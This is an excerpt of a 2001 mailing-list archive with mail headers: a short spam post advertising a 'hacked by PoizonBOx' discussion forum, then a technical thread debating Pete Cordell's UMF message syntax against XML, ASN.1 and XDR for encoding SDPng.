	for <confctrl@zephyr.isi.edu>; Fri, 1 Jun 2001 09:40:03 -0700 (PDT)
Received: from wgs.steeple.plc.uk ([195.188.28.11])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f51GeJZ25479
	for <confctrl@isi.edu>; Fri, 1 Jun 2001 09:40:19 -0700 (PDT)
Received: from intellistation ([195.188.28.55]) by wgs.steeple.plc.uk with Microsoft SMTPSVC(5.0.2195.1600);
	 Fri, 1 Jun 2001 17:31:44 +0100
Received: from intellistation [127.0.0.1]
	by intellistation
	with SMTPBeamer v3.24a ;
	Fri, 1 Jun 2001 12:50:56 +0100
From: "L@@K dont throw away!" <jimbobuk@home.com>
To: <confctrl@ISI.EDU>
Subject: Have you been hacked by f*ck PoizonBOx?
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Date: Fri, 1 Jun 2001 12:50:55 +0100
X-Priority: 1 (Highest)
Content-Transfer-Encoding: 8bit
Message-ID: <WGSbOmQwKLAffPc9Vje000038b9@wgs.steeple.plc.uk>
X-OriginalArrivalTime: 01 Jun 2001 16:31:44.0468 (UTC) FILETIME=[586B4140:01C0EAB8]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I've created an online community called "Have you been hacked by f*ck 
PoizonBOx?". 

http://www.delphi.com/PoizonBOx/start/

Please join the discussion! 
With the message board, you can view discussion folders quickly in the 
left-hand column and read up to 20 messages at a time. You can even attach 
files (such as pictures and programs) directly to messages -- just like 
e-mail. It's fast, easy, and efficient. 

As the Forum "Host," I control the specific features of the Forum. The 
other options include real-time Chat, voice chat, and polls. I can also 
choose to make it public or private. 

I've chosen to make this Forum public so anyone can participate, so feel 
free to tell your friends. 

The best way into my Forum is at the following URL: 
http://www.delphi.com/PoizonBOx/start/

I'm eager to hear comments and suggestions. Let's get the conversation 
started! 

Best regards, 

From confctrl-owner  Tue Jun  5 05:00:51 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id FAA09043
	for confctrl-outgoing; Tue, 5 Jun 2001 05:00:51 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA09036
	for <confctrl@zephyr.isi.edu>; Tue, 5 Jun 2001 05:00:49 -0700 (PDT)
Received: from tungsten.btinternet.com (tungsten.btinternet.com [194.73.73.81])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f55C17Z07952
	for <confctrl@isi.edu>; Tue, 5 Jun 2001 05:01:08 -0700 (PDT)
Received: from [62.7.23.217] (helo=tkw)
	by tungsten.btinternet.com with smtp (Exim 3.03 #83)
	id 157FVn-0002hN-00; Tue, 05 Jun 2001 13:00:40 +0100
Message-ID: <002201c0edb7$84590b00$0200000a@tkw>
From: "Pete Cordell" <pete@tech-know-ware.com>
To: "Dirk Kutscher" <dku@informatik.uni-bremen.de>, <confctrl@ISI.EDU>
Cc: <sdp-ng@egroups.com>
Subject: Encoding SDPng messages using UMF
Date: Tue, 5 Jun 2001 13:03:15 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear Dirk, and other SDPng Developers,

Like many I have been concerned about the size of SDPng messages that might
result as a consequence of using XML.  My other concern about XML has been
that it is not clear on the data types that parameters have.  Although
schemas are an attempt to fix this, this seems to add yet more verbosity to
the message definition.  I feel that this verbosity is an issue because it
makes it time consuming to define parameters accurately,  which can lead to
people making silly mistakes, and all the key words hide the true content of
the messages.

I would therefore like to bring to your attention some work that I have been
doing for the last 3 or 4 years.  It defines messages using a modified C (or
if you prefer XDR) syntax, which is represented on the wire using text.
Some of this work has been guided by trying model the Megaco protocol, which
is really quite a compact protocol.  In particular, in a number of cases
parameters have no tags.  Surprisingly to people involved in the development
process this results in a clearer protocol than one that has tags all over
the place.

The scheme is designed from the outset to support extensibility, and allows
external profiles to be plugged, which sounds ideal for SDPng.

I've called the scheme UMF (for Universal Message Format - might as well
think big!).  It is (fairly) fully defined in the internet draft:

  http://www.ietf.org/internet-drafts/draft-cordell-mmusic-umf-00.txt

I have also developed a small tool kit that facilitates reading the
messages.  This is available at:

  http://www.tech-know-ware.com/umflib

Over time I hope to add a few more tools, including a syntax checker, and a
converter to ABNF (both of which are nearly there).

To save reading the draft(!), this is how it works in a nutshell.

Messages are defined in a C like way, except that types can have additional
constraints, and they can have a cardinality range rather than a fixed
cardinality as C effectively does.  You can also specify an explicit tag for
a parameter, including explicitly specifying that no tag is used.

A resultant definition might therefore look something like:

  module example
  struct example
  {
    unquoted-ascii<1..64>   protocol as ?;
    int <0..65535>          ports[0..*] as p;
    ipv4addr                proxies[0..*];
  };

This off the top of my head example specifies the ports and proxies that a
particular protocol should use.  The protocol is specified as unquoted ASCII
text that can be between 1 and 64 characters long.  The as ? indicates that
this parameter has no tag on the wire.

The second definition in the struct defines a ports parameter.  This is
represented by an integer in the range 0 to 65535, as indicated by
<0..65535>.  There may be zero or more instances of this parameter as
indicated by [0..*].  The parameter is tagged by 'p' on the wire.

The third parameter is the address of any proxies that should be used.
Again this can occur zero or more times.  As there is no explicitly defined
tag, the parameter is tagged by 'proxies' on the wire.

Valid encoding of this definition would be:

  HTTP

or:

  HTTP p=80, 8080

(or:

  HTTP p=80 p=8080
)

or:

  HTTP p=80 proxies=10.0.0.1, 10.0.0.2

For me this is a very practical solution for message definition, and I think
SDPng would benefit greatly from it.  I think that this is especially the
case with mobile devices becoming more main stream.  It may also be that
SCCP may benefit from it also.

I look forward to any comments you might have.

Regards,

Pete.

=============================================
Pete Cordell
Tech-Know-Ware
pete@tech-know-ware.com
+44 1473 635863
=============================================




From confctrl-owner  Tue Jun  5 05:05:43 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id FAA09212
	for confctrl-outgoing; Tue, 5 Jun 2001 05:05:43 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA09207
	for <confctrl@zephyr.isi.edu>; Tue, 5 Jun 2001 05:05:42 -0700 (PDT)
Received: from flyingfox.snowshore.com (flyingfox.snowshore.com [216.57.133.3])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f55C61Z08828
	for <confctrl@isi.edu>; Tue, 5 Jun 2001 05:06:01 -0700 (PDT)
Received: from eburger (keeper.snowshore.com [216.57.133.4])
	by flyingfox.snowshore.com (8.11.2/8.11.2) with ESMTP id f55C5uq00204;
	Tue, 5 Jun 2001 08:05:56 -0400 (EDT)
Message-Id: <200106051205.f55C5uq00204@flyingfox.snowshore.com>
From: Eric Burger <eburger@snowshore.com>
To: sdp-ng@yahoogroups.com, confctrl@ISI.EDU
Subject: RE: [sdp-ng] Encoding SDPng messages using UMF
Date: Tue, 5 Jun 2001 12:05:00 GMT
X-Mailer: CorporateTime Outlook Connector 3.0
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id FAA09208
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

How is this different from ASN.1 with an ASCII, instead of binary, generator?

Why invent YAPS [Yet Another Protocol Specification language], when we've got three already?

-----Original Message-----
From: Pete Cordell [mailto:pete@tech-know-ware.com]
Sent: Tuesday, June 05, 2001 8:03 AM
To: Dirk Kutscher; confctrl@isi.edu
Cc: sdp-ng@yahoogroups.com
Subject: [sdp-ng] Encoding SDPng messages using UMF


Dear Dirk, and other SDPng Developers,

Like many I have been concerned about the size of SDPng messages that might
result as a consequence of using XML.  My other concern about XML has been
that it is not clear on the data types that parameters have.  Although
schemas are an attempt to fix this, this seems to add yet more verbosity to
the message definition.  I feel that this verbosity is an issue because it
makes it time consuming to define parameters accurately,  which can lead to
people making silly mistakes, and all the key words hide the true content of
the messages.

I would therefore like to bring to your attention some work that I have been
doing for the last 3 or 4 years.  It defines messages using a modified C (or
if you prefer XDR) syntax, which is represented on the wire using text.
Some of this work has been guided by trying model the Megaco protocol, which
is really quite a compact protocol.  In particular, in a number of cases
parameters have no tags.  Surprisingly to people involved in the development
process this results in a clearer protocol than one that has tags all over
the place.

The scheme is designed from the outset to support extensibility, and allows
external profiles to be plugged, which sounds ideal for SDPng.

I've called the scheme UMF (for Universal Message Format - might as well
think big!).  It is (fairly) fully defined in the internet draft:

  http://www.ietf.org/internet-drafts/draft-cordell-mmusic-umf-00.txt

I have also developed a small tool kit that facilitates reading the
messages.  This is available at:

  http://www.tech-know-ware.com/umflib

Over time I hope to add a few more tools, including a syntax checker, and a
converter to ABNF (both of which are nearly there).

To save reading the draft(!), this is how it works in a nutshell.

Messages are defined in a C like way, except that types can have additional
constraints, and they can have a cardinality range rather than a fixed
cardinality as C effectively does.  You can also specify an explicit tag for
a parameter, including explicitly specifying that no tag is used.

A resultant definition might therefore look something like:

  module example
  struct example
  {
    unquoted-ascii<1..64>   protocol as ?;
    int <0..65535>          ports[0..*] as p;
    ipv4addr                proxies[0..*];
  };

This off the top of my head example specifies the ports and proxies that a
particular protocol should use.  The protocol is specified as unquoted ASCII
text that can be between 1 and 64 characters long.  The as ? indicates that
this parameter has no tag on the wire.

The second definition in the struct defines a ports parameter.  This is
represented by an integer in the range 0 to 65535, as indicated by
<0..65535>.  There may be zero or more instances of this parameter as
indicated by [0..*].  The parameter is tagged by 'p' on the wire.

The third parameter is the address of any proxies that should be used.
Again this can occur zero or more times.  As there is no explicitly defined
tag, the parameter is tagged by 'proxies' on the wire.

Valid encoding of this definition would be:

  HTTP

or:

  HTTP p=80, 8080

(or:

  HTTP p=80 p=8080
)

or:

  HTTP p=80 proxies=10.0.0.1, 10.0.0.2

For me this is a very practical solution for message definition, and I think
SDPng would benefit greatly from it.  I think that this is especially the
case with mobile devices becoming more main stream.  It may also be that
SCCP may benefit from it also.

I look forward to any comments you might have.

Regards,

Pete.

=============================================
Pete Cordell
Tech-Know-Ware
pete@tech-know-ware.com
+44 1473 635863
=============================================




To unsubscribe from this group, send an email to:
sdp-ng-unsubscribe@egroups.com

 

Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ 




From confctrl-owner  Tue Jun  5 05:18:43 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id FAA09699
	for confctrl-outgoing; Tue, 5 Jun 2001 05:18:43 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA09694
	for <confctrl@zephyr.isi.edu>; Tue, 5 Jun 2001 05:18:42 -0700 (PDT)
Received: from nmh.informatik.uni-bremen.de (root@nmh.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f55CJ0Z13313
	for <confctrl@ISI.EDU>; Tue, 5 Jun 2001 05:19:01 -0700 (PDT)
Received: from cabo3 (root@nmh.informatik.uni-bremen.de [134.102.224.3])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with SMTP id f55CId207083;
	Tue, 5 Jun 2001 14:18:40 +0200 (MEST)
From: "Dr. Carsten Bormann" <cabo@tzi.org>
To: "Pete Cordell" <pete@tech-know-ware.com>,
        "Dirk Kutscher" <dku@Informatik.Uni-Bremen.DE>, <confctrl@ISI.EDU>
Cc: <sdp-ng@egroups.com>
Subject: RE: Encoding SDPng messages using UMF
Date: Tue, 5 Jun 2001 14:18:42 +0200
Message-ID: <NEBBJFHFCKHKFCNLJJBPOEPAFKAA.cabo@tzi.org>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <002201c0edb7$84590b00$0200000a@tkw>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Pete,

I don't want to offend you, but Syntax discussions are fun because

-- everybody can contribute (if they can write characters on paper)

-- the supply of different variants and new ideas is infinite

-- there is no clear win for anything, so you can continue discussing
forever

Having been part of this since the early 80s (CLPT, anyone?), I (literally)
desperately don't care.

If the world out there wants XML, let them have it.  XML is good enough.
More precisely:
It is neither significantly better nor significantly worse that anything I'd
come up with.
Maybe by a factor of two or three or so, but the time to market lost by
restarting the discussion outweighs this easily.

Let's stick to XML.

Gruesse, Carsten

(PS.: In a back room somewhere, you can tell me about UMF.  I'm interested.
Maybe we can derail the XML bandwagon.
Let's just try to not have SDPng or anything else that matters be part of
the trainwreck.)


From confctrl-owner  Tue Jun  5 05:48:57 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id FAA10869
	for confctrl-outgoing; Tue, 5 Jun 2001 05:48:57 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA10864
	for <confctrl@zephyr.isi.edu>; Tue, 5 Jun 2001 05:48:56 -0700 (PDT)
Received: from gadolinium.btinternet.com (gadolinium.btinternet.com [194.73.73.111])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f55CnDZ20312
	for <confctrl@isi.edu>; Tue, 5 Jun 2001 05:49:13 -0700 (PDT)
Received: from [213.1.148.123] (helo=tkw)
	by gadolinium.btinternet.com with smtp (Exim 3.03 #83)
	id 157GGU-0000ar-00; Tue, 05 Jun 2001 13:48:55 +0100
Message-ID: <002e01c0edbe$49e530a0$0200000a@tkw>
From: "Pete Cordell" <pete@tech-know-ware.com>
To: <sdp-ng@yahoogroups.com>, <confctrl@ISI.EDU>
References: <200106051205.f55C5uq00204@flyingfox.snowshore.com>
Subject: Re: [sdp-ng] Encoding SDPng messages using UMF
Date: Tue, 5 Jun 2001 13:51:21 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Eric,

That's a good question.

I think the main problem with ASN.1 is that the initial versions were
developed without taking enough of the extensibility issues into
consideration.  The addition of information object classes is so complex as
to defy comprehension in my opinion.  I really don't think that someone
should have to put that much effort into understanding something that only
features as a very small part in the development process.

UMF allows plugging in of additional syntax models with minimal complexity.
You could do:

  module my-addition
  extends example;
  plug
     bool      uses-tls;
  into example;

in a separate definition to extend what was described before.

As for other protocol specification languages, I can think of XDR, xBNF, XML
and there's probably a whole bunch of IDLs.

To me, the short answer is, the fact that people are looking to XML to solve
there problems indicates that this area isn't totally sown up.

The longer answer is:

XDR is quite low level, and not as expressive as it could be, although in
some respect UMF is an extension of XDR, minus some stuff that doesn't
really actually convey any more information in the definition than is
already defined elsewhere.

xBNF is too low level.  It's like working in machine code all the time.
It's also extremely time consuming and error prone to get a definition
correct.  The essence of a protocol can also get lost in the detail.
There's also quite a lot of handle turning to convert this into useable
code.

XML initially doesn't have any type information, which seems bad for a
message definition language.  Schemas are fixing that, but the verbosity of
specifying all that again mean the message of the message definition gets
lost in the syntax fluff.  (It would actually be better to define a message
in UMF and then automate the conversion to XML Schema using tools, as your
much more likely to get an error free definition that way.)

In summary, except for ASN.1 (and XDR) I don't think there are really any
protocol definition languages.  All the other examples have been high jacked
from the problem domains that they were originally developed for.  The
result is that they aren't particularly a good match for the problem space.
The fact that ASN.1 or XDR are not the first thing people rush to when
defining protocols suggests that there is room for improvement.

Pete.

=============================================
Pete Cordell
Tech-Know-Ware
pete@tech-know-ware.com
+44 1473 635863
=============================================

----- Original Message -----
From: Eric Burger <eburger@snowshore.com>
To: <sdp-ng@yahoogroups.com>; <confctrl@isi.edu>
Sent: 05 June 2001 13:05
Subject: RE: [sdp-ng] Encoding SDPng messages using UMF


> How is this different from ASN.1 with an ASCII, instead of binary,
generator?
>
> Why invent YAPS [Yet Another Protocol Specification language], when we've
got three already?
>
> -----Original Message-----
> From: Pete Cordell [mailto:pete@tech-know-ware.com]
> Sent: Tuesday, June 05, 2001 8:03 AM
> To: Dirk Kutscher; confctrl@isi.edu
> Cc: sdp-ng@yahoogroups.com
> Subject: [sdp-ng] Encoding SDPng messages using UMF
>
>
> Dear Dirk, and other SDPng Developers,
>
> Like many I have been concerned about the size of SDPng messages that
might
> result as a consequence of using XML.  My other concern about XML has been
> that it is not clear on the data types that parameters have.  Although
> schemas are an attempt to fix this, this seems to add yet more verbosity
to
> the message definition.  I feel that this verbosity is an issue because it
> makes it time consuming to define parameters accurately,  which can lead
to
> people making silly mistakes, and all the key words hide the true content
of
> the messages.
>
> I would therefore like to bring to your attention some work that I have
been
> doing for the last 3 or 4 years.  It defines messages using a modified C
(or
> if you prefer XDR) syntax, which is represented on the wire using text.
> Some of this work has been guided by trying model the Megaco protocol,
which
> is really quite a compact protocol.  In particular, in a number of cases
> parameters have no tags.  Surprisingly to people involved in the
development
> process this results in a clearer protocol than one that has tags all over
> the place.
>
> The scheme is designed from the outset to support extensibility, and
allows
> external profiles to be plugged, which sounds ideal for SDPng.
>
> I've called the scheme UMF (for Universal Message Format - might as well
> think big!).  It is (fairly) fully defined in the internet draft:
>
>   http://www.ietf.org/internet-drafts/draft-cordell-mmusic-umf-00.txt
>
> I have also developed a small tool kit that facilitates reading the
> messages.  This is available at:
>
>   http://www.tech-know-ware.com/umflib
>
> Over time I hope to add a few more tools, including a syntax checker, and
a
> converter to ABNF (both of which are nearly there).
>
> To save reading the draft(!), this is how it works in a nutshell.
>
> Messages are defined in a C like way, except that types can have
additional
> constraints, and they can have a cardinality range rather than a fixed
> cardinality as C effectively does.  You can also specify an explicit tag
for
> a parameter, including explicitly specifying that no tag is used.
>
> A resultant definition might therefore look something like:
>
>   module example
>   struct example
>   {
>     unquoted-ascii<1..64>   protocol as ?;
>     int <0..65535>          ports[0..*] as p;
>     ipv4addr                proxies[0..*];
>   };
>
> This off the top of my head example specifies the ports and proxies that a
> particular protocol should use.  The protocol is specified as unquoted
ASCII
> text that can be between 1 and 64 characters long.  The as ? indicates
that
> this parameter has no tag on the wire.
>
> The second definition in the struct defines a ports parameter.  This is
> represented by an integer in the range 0 to 65535, as indicated by
> <0..65535>.  There may be zero or more instances of this parameter as
> indicated by [0..*].  The parameter is tagged by 'p' on the wire.
>
> The third parameter is the address of any proxies that should be used.
> Again this can occur zero or more times.  As there is no explicitly
defined
> tag, the parameter is tagged by 'proxies' on the wire.
>
> Valid encoding of this definition would be:
>
>   HTTP
>
> or:
>
>   HTTP p=80, 8080
>
> (or:
>
>   HTTP p=80 p=8080
> )
>
> or:
>
>   HTTP p=80 proxies=10.0.0.1, 10.0.0.2
>
> For me this is a very practical solution for message definition, and I
think
> SDPng would benefit greatly from it.  I think that this is especially the
> case with mobile devices becoming more main stream.  It may also be that
> SCCP may benefit from it also.
>
> I look forward to any comments you might have.
>
> Regards,
>
> Pete.
>
> =============================================
> Pete Cordell
> Tech-Know-Ware
> pete@tech-know-ware.com
> +44 1473 635863
> =============================================
>
>
>
>
> To unsubscribe from this group, send an email to:
> sdp-ng-unsubscribe@egroups.com
>
>
>
> Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/
>
>
>
>
> To unsubscribe from this group, send an email to:
> sdp-ng-unsubscribe@egroups.com
>
>
>
> Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/
>
>
>


From confctrl-owner  Tue Jun  5 10:40:21 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA21658
	for confctrl-outgoing; Tue, 5 Jun 2001 10:40:21 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA21646
	for <confctrl@zephyr.isi.edu>; Tue, 5 Jun 2001 10:40:19 -0700 (PDT)
Received: from rhenium (rhenium.btinternet.com [194.73.73.93])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f55HebZ19172
	for <confctrl@isi.edu>; Tue, 5 Jun 2001 10:40:38 -0700 (PDT)
Received: from [62.7.101.31] (helo=tkw)
	by rhenium with smtp (Exim 3.03 #83)
	id 157Koh-0003QK-00; Tue, 05 Jun 2001 18:40:32 +0100
Message-ID: <000901c0ede6$fca4e5a0$0200000a@tkw>
From: "Pete Cordell" <pete@tech-know-ware.com>
To: "Dr. Carsten Bormann" <cabo@tzi.org>,
        "Dirk Kutscher" <dku@Informatik.Uni-Bremen.DE>, <confctrl@ISI.EDU>
Cc: <sdp-ng@egroups.com>
References: <NEBBJFHFCKHKFCNLJJBPOEPAFKAA.cabo@tzi.org>
Subject: Re: Encoding SDPng messages using UMF
Date: Tue, 5 Jun 2001 18:43:06 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Carsten,

No offence taken, as I think what you say can be said about most protocol
development work as well!!!  And while it is easy to do something simple in
this area, to get something useful actually requires quite a deep
understanding of trade offs before the best option becomes clear.  I
certainly don't see that we are falling over good message definition
solutions here.

In terms of time to market, as far as I can see, SDPng has no defined
syntax.  SDPng can easily switch to UMF without any loss in time (and
probably some gain) by defining UMF in the SDPng document in much the same
way that SMTP defines EBNF.  That gives the world a chance to see whether it
has any merit before putting a whole load of procedure behind its
development.

Pete.

=============================================
Pete Cordell
Tech-Know-Ware
pete@tech-know-ware.com
+44 1473 635863
=============================================

----- Original Message -----
From: Dr. Carsten Bormann <cabo@tzi.org>
To: Pete Cordell <pete@tech-know-ware.com>; Dirk Kutscher
<dku@Informatik.Uni-Bremen.DE>; <confctrl@ISI.EDU>
Cc: <sdp-ng@egroups.com>
Sent: 05 June 2001 13:18
Subject: RE: Encoding SDPng messages using UMF


> Pete,
>
> I don't want to offend you, but Syntax discussions are fun because
>
> -- everybody can contribute (if they can write characters on paper)
>
> -- the supply of different variants and new ideas is infinite
>
> -- there is no clear win for anything, so you can continue discussing
> forever
>
> Having been part of this since the early 80s (CLPT, anyone?), I
(literally)
> desperately don't care.
>
> If the world out there wants XML, let them have it.  XML is good enough.
> More precisely:
> It is neither significantly better nor significantly worse that anything
I'd
> come up with.
> Maybe by a factor of two or three or so, but the time to market lost by
> restarting the discussion outweighs this easily.
>
> Let's stick to XML.
>
> Gruesse, Carsten
>
> (PS.: In a back room somewhere, you can tell me about UMF.  I'm
interested.
> Maybe we can derail the XML bandwagon.
> Let's just try to not have SDPng or anything else that matters be part of
> the trainwreck.)
>
>


From confctrl-owner  Tue Jun  5 12:48:05 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA27059
	for confctrl-outgoing; Tue, 5 Jun 2001 12:48:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA27054
	for <confctrl@zephyr.isi.edu>; Tue, 5 Jun 2001 12:48:04 -0700 (PDT)
Received: from real.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f55JmNZ19208
	for <confctrl@ISI.EDU>; Tue, 5 Jun 2001 12:48:23 -0700 (PDT)
Received: from jeffa-laptop.real.com ([172.23.106.160])
	by real.com (8.9.2/8.9.0) with ESMTP id MAA25907;
	Tue, 5 Jun 2001 12:48:08 -0700 (PDT)
Message-Id: <4.3.2.7.2.20010605123222.019e3ae0@mail.real.com>
X-Sender: jeffa@mail.real.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Tue, 05 Jun 2001 12:47:18 -0700
To: "Pete Cordell" <pete@tech-know-ware.com>,
        "Dr. Carsten Bormann" <cabo@tzi.org>,
        "Dirk Kutscher" <dku@Informatik.Uni-Bremen.DE>, <confctrl@ISI.EDU>
From: Jeff Ayars <jeffa@real.com>
Subject: Re: Encoding SDPng messages using UMF
Cc: <sdp-ng@egroups.com>
In-Reply-To: <000901c0ede6$fca4e5a0$0200000a@tkw>
References: <NEBBJFHFCKHKFCNLJJBPOEPAFKAA.cabo@tzi.org>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

XML may not be the most efficient syntax from a bytes used perspective but 
it is regular and WIDELY understood.  Compression a-la zlib in RFC 2974 for 
SDP compression in SAP or WAP Binary XML representation should be 
considered for byte efficiency.

XSL solves the data type problem in another existing standard way.

I already have an XML parser in my product.  YAPS (Yet Another Protocol 
Syntax) == YAPP (Yet another protocol parser).  I don't want to bloat my 
product with YAPP.

JEff


From confctrl-owner  Tue Jun  5 20:12:07 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id UAA14127
	for confctrl-outgoing; Tue, 5 Jun 2001 20:12:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA14122
	for <confctrl@zephyr.isi.edu>; Tue, 5 Jun 2001 20:12:06 -0700 (PDT)
Received: from flyingfox.snowshore.com (flyingfox.snowshore.com [216.57.133.3])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f563COZ19445
	for <confctrl@isi.edu>; Tue, 5 Jun 2001 20:12:25 -0700 (PDT)
Received: from eburger (keeper.snowshore.com [216.57.133.4])
	by flyingfox.snowshore.com (8.11.2/8.11.2) with ESMTP id f563CHq12203;
	Tue, 5 Jun 2001 23:12:17 -0400 (EDT)
Message-Id: <200106060312.f563CHq12203@flyingfox.snowshore.com>
From: Eric Burger <eburger@snowshore.com>
To: sdp-ng@yahoogroups.com, confctrl@ISI.EDU
Subject: RE:  [sdp-ng] Encoding SDPng messages using UMF
Date: Tue, 5 Jun 2001 13:33:00 GMT
X-Mailer: CorporateTime Outlook Connector 3.0
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id UAA14123
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

My guess is people don't think of XDR because it's "old" and they don't think of ASN.1 because it's "from the ITU-T".

ASN.1 is extensible [good], but you have to specify where extensions can be before you do an extension [very bad].

One thing that ASN.1 and tagged protocols (e.g., keyword/value or XML tags) in general have is the ability to send and receive the information elements in any order.  I didn't see that in UMF.  Did I miss it?

BTW: I'm not advocating we use ASN.1 for SDPng.  This is because I would much prefer to use a tagged protocol.  However, if the consensus is that we want to go with an IDL/structured protocol, I would propose we consider adopting an existing specification language.

NOTE: I've never seen "AER" (ASCII Encoding Rules) for ASN.1.  However, it would be straight-forward to do.  I really, really DON'T want to use ASN.1 with BER or PER!


-----Original Message-----
From: Pete Cordell [mailto:pete@tech-know-ware.com]
Sent: Tuesday, June 05, 2001 8:51 AM
To: sdp-ng@yahoogroups.com; confctrl@isi.edu
Subject: Re: [sdp-ng] Encoding SDPng messages using UMF


Eric,

That's a good question.

I think the main problem with ASN.1 is that the initial versions were
developed without taking enough of the extensibility issues into
consideration.  The addition of information object classes is so complex as
to defy comprehension in my opinion.  I really don't think that someone
should have to put that much effort into understanding something that only
features as a very small part in the development process.

UMF allows plugging in of additional syntax models with minimal complexity.
You could do:

  module my-addition
  extends example;
  plug
     bool      uses-tls;
  into example;

in a separate definition to extend what was described before.

As for other protocol specification languages, I can think of XDR, xBNF, XML
and there's probably a whole bunch of IDLs.

To me, the short answer is, the fact that people are looking to XML to solve
there problems indicates that this area isn't totally sown up.

The longer answer is:

XDR is quite low level, and not as expressive as it could be, although in
some respect UMF is an extension of XDR, minus some stuff that doesn't
really actually convey any more information in the definition than is
already defined elsewhere.

xBNF is too low level.  It's like working in machine code all the time.
It's also extremely time consuming and error prone to get a definition
correct.  The essence of a protocol can also get lost in the detail.
There's also quite a lot of handle turning to convert this into useable
code.

XML initially doesn't have any type information, which seems bad for a
message definition language.  Schemas are fixing that, but the verbosity of
specifying all that again mean the message of the message definition gets
lost in the syntax fluff.  (It would actually be better to define a message
in UMF and then automate the conversion to XML Schema using tools, as your
much more likely to get an error free definition that way.)

In summary, except for ASN.1 (and XDR) I don't think there are really any
protocol definition languages.  All the other examples have been high jacked
from the problem domains that they were originally developed for.  The
result is that they aren't particularly a good match for the problem space.
The fact that ASN.1 or XDR are not the first thing people rush to when
defining protocols suggests that there is room for improvement.

Pete.

=============================================
Pete Cordell
Tech-Know-Ware
pete@tech-know-ware.com
+44 1473 635863
=============================================
[snip]


From confctrl-owner  Wed Jun  6 02:00:48 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id CAA27143
	for confctrl-outgoing; Wed, 6 Jun 2001 02:00:48 -0700 (PDT)
